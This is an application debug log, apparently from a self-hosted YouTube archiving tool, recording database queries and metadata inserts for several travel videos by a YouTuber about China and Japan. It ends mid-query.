s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:42.078 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:42.078 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [342888] 17:57:42.078 [debug] Current batch of media processed. Will check again in 1000ms 17:57:43.079 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "duration" => 2295, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", "id" => "7sCIBpshaCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7sCIBpshaCI", "playlist_index" => 3, "timestamp" => 1782502970, "title" => "China's Loneliest Man Shows Me His World", "upload_date" => "20260626"} 17:57:43.080 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:43.080 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:43.081 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 17:57:43.082 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "b17b432f-daf7-4f85-9c90-2131e6eef06e", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 00:57:43Z], ~U[2026-08-20 00:57:43Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 17:57:43.082 [debug] QUERY OK source="sources" db=0.2ms idle=15.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:43.083 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:43.083 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [251562] 17:57:43.083 [debug] Current batch of media processed. Will check again in 1000ms 17:57:44.084 [debug] Current batch of media processed. Will check again in 1000ms 17:57:45.085 [debug] Current batch of media processed. Will check again in 1000ms 17:57:46.086 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "duration" => 1064, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", "id" => "MEDlM-cA1Z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "playlist_index" => 4, "timestamp" => 1781884520, "title" => "Inside China's Insane Propaganda Theme Park", "upload_date" => "20260619"} 17:57:46.086 [debug] QUERY OK source="sources" db=0.2ms idle=1399.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:46.087 [debug] QUERY OK source="sources" db=0.1ms idle=1399.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:46.087 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4e3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 17:57:46.089 [debug] QUERY OK source="media_items" db=1.3ms idle=1019.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "75dfdf17-43ec-42b5-8fb2-9ae972e0722d", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 00:57:46Z], ~U[2026-08-20 00:57:46Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 17:57:46.089 [debug] QUERY OK source="sources" db=0.2ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:46.090 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:46.090 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [220422] 17:57:46.090 [debug] Current batch of media processed. Will check again in 1000ms 17:57:47.091 [debug] Current batch of media processed. Will check again in 1000ms 17:57:47.442 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:48.092 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "duration" => 2055, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", "id" => "B_S4NGLGbIM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B_S4NGLGbIM", "playlist_index" => 5, "timestamp" => 1781282249, "title" => "Finding China’s Lost Cave Village (30 years abandoned)", "upload_date" => "20260612"} 17:57:48.093 [debug] QUERY OK source="sources" db=0.3ms idle=650.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:48.093 [debug] QUERY OK source="sources" db=0.2ms idle=406.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:48.094 [debug] QUERY OK source="media_items" db=0.3ms idle=406.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 17:57:48.095 [debug] QUERY OK source="media_items" db=0.8ms idle=407.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "dcdb2e59-78d6-403c-a8b6-ec1f171cbe78", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 00:57:48Z], ~U[2026-08-20 00:57:48Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 17:57:48.095 [debug] QUERY OK source="sources" db=0.2ms idle=23.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:48.096 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:48.096 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190542] 17:57:48.096 [debug] Current batch of media processed. Will check again in 1000ms 17:57:49.097 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "duration" => 1894, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", "id" => "EIlIbE9HuB4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EIlIbE9HuB4", "playlist_index" => 6, "timestamp" => 1780066592, "title" => "4,000 People Live On Japan's Most Active Volcano", "upload_date" => "20260529"} 17:57:49.098 [debug] QUERY OK source="sources" db=0.3ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:49.098 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:49.099 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 17:57:49.100 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n 